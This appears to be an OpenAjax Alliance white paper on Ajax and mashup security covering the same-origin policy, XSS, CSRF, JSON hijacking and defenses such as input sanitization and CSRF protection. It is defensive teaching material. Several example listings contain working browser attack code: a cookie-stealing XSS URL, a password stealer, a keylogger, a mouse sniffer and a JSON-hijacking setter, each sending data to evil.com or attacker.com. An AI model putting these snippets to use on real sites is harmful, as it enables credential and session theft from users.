OpenAjax Alliance banner

Home

Ajax and Mashup Security

Abstract

The OpenAjax Alliance has assembled a set of white papers as a guide to help Web developers and IT managers understand and evaluate Ajax, define a successful Ajax strategy, and become familiar the important role OpenAjax plays in the development of the Ajax market.

The white papers are:

 

Contents

1 Introducing Ajax and Mashups

Ajax and mashups represent two new Web application development approaches that both fit under the Web 2.0 umbrella.

1.1 Ajax

Asynchronous JavaScript + XML (Ajax) [1] allows user interaction with Web pages to be decoupled from the Web browser's communication with the server. In particular, Ajax drives mashups, which integrate disparate content or services into a single user experience. However, Ajax and mashup technology introduce new types of threats because of their dynamic and multidomain nature. It is important to understand these threats and to avoid them by adhering to some best practices.

Ajax is built on Dynamic HTML (DHTML) technologies, including these most common ones:

In Ajax, client-side JavaScript updates the presentation of a Web page by dynamically modifying the DOM tree and the stylesheet. In addition, asynchronous communication, enabled by the following technologies, allows dynamic updates of data without the need to reload the entire Web page:

Note that there are other commonly used alternatives to JSON in Ajax applications, such as XML and unformatted plain text. We chose to discuss JSON here, since it has some security implications that we'll examine later in this article.

Readers who are not familiar with Ajax are encouraged to read the articles in the OpenAjax Alliance Ajax's Security Resources wiki page.

1.2 Mashups

A mashup is a website or application that combines content from more than one source into an integrated experience. Usually, the mashup components interact with each other. In the classic example of a mashup, a Craigslist component is combined with a mapping component (e.g., Google or Yahoo maps) such that when a user clicks on a new Craigslist entry, the mapping component updates its view to show the new address.

Mashups typically allow the end user to discover and integrate third party, Ajax-powered mashup components onto the mashup's canvas. Examples in the consumer social networking space include Facebook Widgets and MySpace Widgets, which end users can discover and insert into their pages.

From a technology perspective, mashup components represent Ajax-powered "mini applications" that are assembled into an Ajax-powered mashup container application that provides a framework for the components to communicate with each other. Sometimes the mashup container application enables cross-site communications by providing proxy services to allow server-side redirection to Web servers that are associated with a given mashup component.

2 Understanding the Same-Origin Policy

One of the foundations of Web security is the "same-origin" policy that is implemented by all popular Web browsers. Browsers implement the same-origin policy as a protection mechanism in order to isolate Web applications coming from different domains from each other, under an assumption that different domains represent different originators. As a result, if applications in multiple windows or frames are downloaded from different servers, they will not be able to access each other's data and scripts.

Note that the same-origin policy only applies to HTML documents. Resource files, such as JavaScript files and images, can be imported into an HTML document (e.g., <script src="..." >) from other domains, but operate within the context of the host HTML document and are regarded as part of the same-origin as the HTML document.

In the context of XMLHttpRequest, the same-origin policy is intended to control an application's interaction with remote servers. However, the same-origin policy has only limited impact on Web 2.0 applications for several reasons:

2.1 Avoiding the Same-Origin Policy: JSON and the Dynamic Script Tag

Since JSON is just plain text with a simple bracketed structure, many channels can exchange a JSON message. Because of the same-origin policy, you cannot use XMLHttpRequest when communicating with external servers. JSON with Padding (JSONP) [3] is a way to bypass the same-origin policy by using JSON in combination with the <script> tag, as shown in Listing 1:

Listing 1. JSON example

          
<script type="text/javascript"
  src="http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary" />

When JavaScript code dynamically inserts the <script> tag, the browser accesses the URL in the src attribute. This results in sending the information in the query string to the server. In Listing 1, the username and reservationNum are passed as name-value pairs. In addition, the query string contains the output format requested to the server and the name of the callback function (that is, showItinerary). In this case, the URL returns a JSONP string which is a JSON string wrapped by the callback function. When the <script> tag loads, the function executes, and the information returned from the server passes to it through its arguments. This trick is a useful technique, but is vulnerable to information stealing attacks as we discuss later.

2.2 Avoiding the Same-Origin Policy: Ajax Proxy

An Ajax proxy is an application-level proxy server that mediates HTTP requests and responses between Web browsers and servers. Ajax proxies allow Web browsers to bypass the same-origin policy and therefore to access third-party servers using XMLHttpRequest. To realize this bypassing, you can choose from two approaches:

2.3 Avoiding the Same-Origin Policy: Browser Extensions and Plugins

Popular browsers have made strong efforts to ensure a secure browsing environment, where the same-origin policy is one of the pillars. However, many browsers offer extensibility the ability to install browser plugins and/or browser extensions. These extensions sometimes implement their own approaches to Web security, which often broadens the attack surface available to malicious sites either by enabling looser security policies and/or by allowing determined hackers to leverage loopholes or bugs within a particular extension. For example, the GreaseMonkey extension to Firefox adds an API called GM_XMLHttpRequest, which is basically XMLHttpRequest without the same-origin policy.

In most cases, the only protection that the browser offers for these extensions is via user consent at installation time. It is not difficult to imagine that some users might be tricked into accepting installation of browser extensions without fully understanding the consequences.

3 Examining Attack Scenarios

Not only do developers avoid the same-origin policy and open up an attack surface to malicious users, but current applications also become vulnerable to attacks when malicious code is inserted into a Web application. Unfortunately, malicious code can find its way into a Web application in many ways. We'll briefly discuss three of these scenarios and explain how they become more relevant in the context of Web 2.0 and mashups.

3.1 Cross-Site Scripting (XSS)

XSS is a common attack in which an attacker injects a malicious piece of code into an otherwise benign site. The two basic types of XSS attacks are:

A reflected XSS attack exploits vulnerable Web applications that display input parameters back to the browser without checking for the presence of active content in them. Typically, an attacker lures victims into clicking on the URL, as shown in Listing 2:

Listing 2. An example URL for reflected XSS

http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie=" 
+ document.cookie; </script>

Suppose that trusted.com hosts a service that has a search feature that posts back the search results together with the keywords that were entered. If the search application doesn't filter the special characters [such as the less than (<) and greater than (>) symbols] in the URL, the content of the <script> tag will also be inserted into the user Web page, and, as a result, will send the document cookie to the remote server evil.com.

The stored XSS attack has become more important with the prevalence of Web 2.0. Web 2.0 promotes sharing, interaction, and collaboration among people, so users have more chance of seeing other (potentially malicious) users' input through services such as social network services (SNS), wikis, or blogs.

XSS has been mostly a server-side program issue, but, because of the growing prevalence of Ajax, it is now becoming a client-side programming issue too. Most modern browsers allow inserting arbitrary HTML fragments into the Web page at run-time. The innerHTML attribute is especially dangerous because JavaScript in an inserted HTML fragment will be immediately executed by some browser implementations.

For instance, the following example illustrates how JavaScript code can be inserted into the innerHTML attribute:

Listing 3. Example attack: Client-Side XSS by innerHTML

document.getElementById('foo').innerHTML = 
  "&nbsp;<script defer='defer'>alert('hello, victim')</script>";

An alternative to this is the use of document.write().

Although the rather obvious injection of a new <script> tag is often prevented, there are many other ways to inject code; for example, JavaScript can be part of URL attributes, event handler attributes, style properties, and so forth. http://ha.ckers.org/xss.html Ha.ckers.org XSS Cheat Sheet [4] gives an extensive overview of the different ways in which hackers inject JavaScript code into web applications. It is interesting to note that different browsers respond differently to code injection attempts.

Careless use of the eval() function causes similar threats. The eval() function accepts a string as an argument and evaluates it as a piece of JavaScript code. The Function object constructor and the setTimeout function also allow an arbitrary string to be evaluated as a piece of JavaScript code.

In either case, input value validation and sanitization are the key to preventing XSS attacks. One has to be careful when processing and displaying data from distrusted sources on their web pages. Usually Web servers try to remove scripts from user input, but often attackers are creative enough to exploit vulnerabilities by bypassing filters, resulting in major attacks such as the Yamanner or MySpace worms.

3.2 Cross-Site Request Forgeries (CSRF) and JSON Hijacking

When a Web application requires user authentication, often it does not require a user to type in his password for every HTTP request. Instead Web applications track user's authentication states between multiple HTTP requests by tokens such as session cookies or the HTTP Authorization header. However, a problem is that modern Web browsers memorize these tokens associated with URLs, and automatically attach the token when a new HTTP request is issued to the server, even if the request is not intended by the user. Cross-Site Request Forgeries (CSRF, often pronounced as sea-surf) is a relatively new type of attack that takes advantage of this browser behavior, a problem that becomes more critical in Ajax applications.

Unlike XSS, CSRF does not require malicious script to be injected into a trusted Web page. Instead, a user would just need to visit a malicious Web site which includes the attacking code. The malicious JavaScript code can issue arbitrary HTTP requests to benign Web servers, and those HTTP requests will be authorized by the Web server because of the presence of the tokens. Since all client-server interactions are implemented using the HTTP protocol in Ajax applications, CSRF enables various kinds of attacks, such as sending e-mail from a Web-mail service, posting a comment to a blog on a user's behalf, altering a user's buddy list in SNS, changing settings in a home router, and so on.

JSON Hijacking builds upon CSRF to provide malicious sites with the ability intercept ("hijack") confidential data delivered in simple JSON format. JSON Hijacking takes advantage of a feature in some browsers that allow script to override the core language's object setter routines, which allows malicious JavaScript to interject logic that allows it to monitor JSON messages returned from a server.

3.3 Denial of Service (DoS) Attacks

A denial-of-service attack (DoS attack) is an attempt to make a computer resource unavailable to its intended users. One common method of attack involves saturating the target (victim) machine with external communications requests, such that it cannot respond to legitimate traffic. A DoS attack is possible whenever 3rd party JavaScript is executed within the user's browser. The 3rd party JavaScript logic can include a loop that repeatedly requests resources from targeted Web sites.

3.4 Mashups Attack Opportunities

Mashups provide additional opportunities for all of the above attack scenarios. Mashup applications often allow arbitrary third party mashup components. If a malicious site is able to entice mashup users to embed their mashup component, and if the mashup application does not offer sufficient protection, then the user and the mashup application's Web site are vulnerable.

A malicious mashup component can inject malicious code into the application to achieve all kinds of attacks including XSS, CSRF, and DoS and might be able to steal sensitive user information. If the mashup application provides simple server-side Ajax proxy services, then a malicious client-side mashup component can pass the user's private data to a foreign Web server via the mashup application's Ajax proxy service.

4 Understanding the Effect of Attacks

Now that you know how attackers get their code into applications, let's consider the implications of some of these common attacks.

4.1 Stealing Cookies or Passwords

The most direct benefit for an attacker is to obtain sensitive user information, such as user passwords or cookies. Since injected scripts can access any part of the DOM tree, they can, among other things, steal password information from the text field of login forms. For example, Listing 4 shows code that steals information and sends it to an attacker's server:

Listing 4. Example attack: Stealing a password from a text field

function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;

In this example, the attacker needs to wait until the user clicks the submit button before he receives his data. Ajax makes an attacker's job even easier, since it allows him to send arbitrary information to remote servers without waiting for explicit user actions, such as pushing a button or clicking on a link. This type of traffic would normally be seen as suspicious behavior, but due to the asynchronous nature of Ajax applications, such traffic usually goes undetected.

Using a similar approach, an attacker can also steal document cookies of sensitive Web applications (such as online banking applications). The document cookies can allow the attacker to hijack sessions or log in with stolen credentials.

(Note that Microsoft® Internet Explorer® 6 or later as well as Firefox 2.0.0.5 or later support HttpOnly cookies, which prevent client-side script from accessing document cookies. However, they are not the panacea, since there are several known attacks to steal HttpOnly cookies; either indirectly from the HTTP headers using XMLHttpRequest, or using the HTTP TRACE command. Furthermore, the JavaScript code can directly exercise all rights associated with a HttpOnly cookie in the browser without having to steal it in the first place. Just by issuing HTTP requests any request will be automatically be authorized. Hence, HttpOnly gives a qualitative security improvement only for the case where an attack would have to be mounted offline on an attacker's server, e.g., because it is too time or cpu consuming to be done directly in the browser. Yet most attacks can be easily mounted directly in the browser. See http://www.openajax.org/member/wiki/Ajax_Security_Resources Resources for more information.)

4.2 Stealing Keyboard Events with a Key Logger

Listing 5 shows a simple example of a key logger, which steals keyboard events from the Web page and sends them to a remote server. The key logger allows an attacker to hijack any user input; for example, if a user uses a Web-based e-mail service, the key logger will record and transmit any text input to the attacker. The attacker can then analyze the recorded data to retrieve confidential information, such as passwords and confidential messages.

Listing 5. Example attack: Key logger

function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

4.3 Stealing Keyboard Events with a Mouse Sniffer

Soft keypads are becoming a common technique to prevent key-logger attacks on sensitive input, such as the login PIN code for online banking services. However, mouse sniffers can use techniques similar to those used by key loggers. By stealing the X and Y coordinates of mouse events, it is possible to deduce which keys on the keypad were clicked. Listing 6 demonstrates an example of a simple mouse sniffer:

Listing 6. Example attack: Mouse sniffer

function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);

4.4 Inserting Wrong Information

Using the DOM interface, an attacker can modify any information in the DOM tree. For example, as a user is making an online money transfer, it is possible for an attacker to change the destination account to one that belongs to him. As a result, the transferred money will be deposited into the attacker's account.

In another type of attack, the attacker might modify the stylesheet to hide information from users. For example, suppose that a Web page includes a warning message, as shown in Listing 7:

Listing 7. Warning message

...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to 
potentially malicious Web pages, so be careful. </div>
...

The attacker might modify the stylesheet to eliminate the warning. For example, Listing 8 shows JavaScript code that modifies the style of the warning to make it invisible on a white background:

Listing 8. Example attack: Eliminating warnings

var e = document.getElementById("warning");
e.style.color= "white";

4.5 Stealing JSONP Messages

Sensitive information in JSONP messages is vulnerable to theft, especially when combined with the CSRF attack. An attacker can simply define a callback function in his own Web page. When a user visits the attacker's page, the JSONP request is issued to the benign Web server, which calls back the attacker's callback function to pass the JSON object. Such JSONP requests from a third party server would be accepted by the benign server if it is vulnerable to the CSRF attack.

4.6 Stealing JSON Messages by JSON Hijacking

JSON Hijacking (introduced by http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf [5] as JavaScript Hijacking) combines CSRF and the object setter overriding technique to steal information in JSON messages returned from a server. This attack works even if the returned JSON string is a plain JSON and not in the form of JSONP (i.e., does not include a call to the callback function). The attack typically uses a <script> tag to request a JSON string from a benign server and uses the object setter overriding technique to capture the JavaScript objects as they are instantiated.

For example, let's assume that the server returns an array of JSON objects as follows:

Listing 9. JSON example

[
  { name: "Sachiko Yoshihama", affiliation: "IBM Tokyo Research Laboratory",
    destination: "Barcelona", date: "Aug 25, 2007" },
  { name: "Frederik De Keukelaere", affiliation: "IBM Tokyo Research Laboratory",
    destination: "Boston", date: "July 31 2007" },
  { name: "Michael Steiner", affiliation: "IBM Watson Research Center",
    destination: "Zurich", date: "Sept 24, 2007" },
  { name: "Naohiko Uramoto", affiliation: "IBM Tokyo Research Laboratory",
    destination: "Miyazaki", date: "Aug 25, 2007" }
]

Then the attacker, in his malicious web page, overrides the setter of the built-in Object class as follows:

Listing 10. Example attack: JSON hijacking

Object.prototype.__defineSetter__("date", function(x) {
	var s = "";
	for (f in this) {
		s += f + ": '" + this[f] + "', ";
	}
	s += "date: " + x;
	// send information to the attacker's server
	document.images[0].src="http://attacker.com/?data=" + s;
});

As the returned JSON string is interpreted by the browser and instantiated as JavaScript objects, the overridden setter function gets invoked to read the objects being created. A similar technique can be used to override the default Array constructor. After retrieving the confidential information, the malicious JavaScript can forward this information to the attacker's server.

(The code example has been tested only on Firefox, but it has been reported that other browsers, such as Opera 0.95, will support the __defineSetter__ method.)

Now that you have the basic knowledge of how attacks might be realized and what the consequences would be, let's have a quick look at some techniques that you can apply to improve the security of Ajax applications.

5.1 Add an Input Value Check

As you've seen in the XSS examples, most of the attacks exploit server-side vulnerabilities by injecting malicious scripts. Therefore, input validation is the first step toward protecting Web applications. Input validation and sanitation filter out all possible active or malicious content from untrusted input.

There are two types of input validation:

Blacklisting and whitelisting are not foolproof. However, whitelisting is generally considered the more secure option. Therefore, it is recommended that you use whitelisting to clean up potentially dangerous input.

Escaping special characters -- such as changing the less than symbol (<) to &lt;, the double quote symbol (") to &qout;, and the single quote symbol(') to &#039; -- in the string that you send to and display on browsers is another way to improve security. Some programming languages provide useful built-in functions to escape special characters (such as htmlspecialchars and htmlentitiesfunction in PHP).

5.2 Use Vulnerability Checking Tools

Many Web applications are vulnerable due to the fact that there are certain common patterns of programming errors in applications. Therefore, security experts have developed tools to detect these insecure programming practices. Such tools, called vulnerability checking tools, detect the potential vulnerabilities in advance. One of the most common vulnerabilities that these tools detect is when programmers forget to call a sanitation routine on potentially malicious input.

5.3 Don't Generate and Execute Code Dynamically

There are several ways to generate code dynamically in a JavaScript program. One of the best-known functions is the eval() function, which allows you to execute an arbitrary string as JavaScript code. However, it is very dangerous to use this function without care. Avoid the use of dynamically generated code unless absolutely necessary. Unfortunately, some widespread JavaScript libraries use the eval() function internally.

5.4 Don't Insert Untrusted HTML Content Without Sanitizing

When displaying content received from untrusted sources, it is important to properly sanitize the input. Attackers often hide their exploits to make them look like regular, safe data input (see XSS Cheat Sheet [4]). Inserting malicious HTML using the innerHTML or other techniques can have devastating results. Be very careful when handling external data, even if it looks like static HTML code.

You may choose to use a safer DOM API to dynamically insert text into the Web page. E.g., the following example illustrates how to insert a string as plain text:

Listing 11. Example of string insertion by the DOM API

var s = "&nbsp;<script defer='defer'>alert('hello, victim')</script>";
var text = document.createTextNode(s);	
document.getElementById('foo').appendChild(text); // script won't be executed

5.5 Preventing CSRF Attacks

CSRF is a powerful and often under-appreciated attack. It is the root cause behind many other attacks, e.g., JSON hijacking, and hence countermeasures are very important.

5.6 Secure the Use of JSON

Since JSON is based on a subset of JavaScript, it is script content, which potentially can contain malicious code. However, JSON is a safe subset of JavaScript that excludes assignment and invocation. Therefore, many JavaScript libraries simply use the eval() function to convert JSON into a JavaScript object. To exploit this, attackers send malformed JSON objects to these libraries so the eval() function executes their malicious code.

You can take several approaches to secure the use of JSON. The first approach is to use the regular expressions defined in RFC 4627 to make sure the JSON data doesn't contain active parts. Listing 12 demonstrates how to check a JSON string with a regular expression:

Listing 12. Checking a JSON string with a regular expression

	var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
    text.replace(/"(\.|[^"\])*"/g, ' '))) &&
    eval('(' + text + ')');

However, it is important to note that these regexp-style JSON parsers (e.g., http://www.json.org/json.js) have subtle security issues, e.g., they allow referencing variables from the calling JavaScript program. Imagine that the JSON message should contain a password for authentication purposes and the program has local variable which contains the "benchmark" password. The message might now simply reference that variable, passing authentication without the attacker having to know the password!

Hence, a more secure alternative is using a JSON language parser to parse the JSON data. Since the grammar of JSON is fairly simple, you can implement such a parser easily without large performance penalty.

5.7 Preventing JSON Hijacking Attacks

As mentioned above, the root cause behind JSON hijacking attack is a vulnerability to CSRF. Hence, the countermeasures is to apply CSRF protection as described in the previous section.

If for some reason CSRF countermeasures cannot be used or prove insufficient, then the following technique provides some protection against JSON Hijacking: when the server returns JSON data, have the server encode a JSON string in a form that cannot be executed directly by the browser, such as wrapping the returned JSON string in a JavaScript comment (i.e., prepend an "/*" and append an "*/"). However, given the numerous other ways that CSRF attacks can be mounted, you are strongly advised to focus on CSRF countermeasures instead because JSON Hijacking only occurs when a site is vulnerable to CSRF; therefore, consider this JSON-wrapping approach as an optional supplemental countermeasure.

5.8 Use <iframe> When Integrating Distrusted Contents

You can take advantage of the same-origin policy to make it harder for attackers to get access to the full DOM tree. When you load data from a different domain into an <iframe>, give that data its own JavaScript execution context and DOM tree. This prevents attackers from stealing information from the main page. It's a good practice to use the <iframe> as much as possible to confine untrusted external contents. Note that different domains does not imply that you require different servers! Most web or application servers support virtual servers demultiplexing different domains/hostnames on a single server. Using wildcard DNS records, it is very easy to support arbitrary DNS sub-domains for an unlimited supply of separate domains mapping to a single server.

6 Conclusions

In this article, we provided an overview of different ways in which Web 2.0 applications avoid the same-origin policy. We also demonstrated how this opens up some new attack vectors to Web applications. We discussed some common types of attacks and the results that attackers can obtain. Finally, we outlined best practices that you can use to avoid some of the most common attacks.

7 Resources

The OpenAjax Alliance maintains a wiki page about Ajax and Mashup Security, with links to various technical resources such as articles and software tools, at the following URL:

Some of the material was first published by IBM developerWorks at:

8 Notes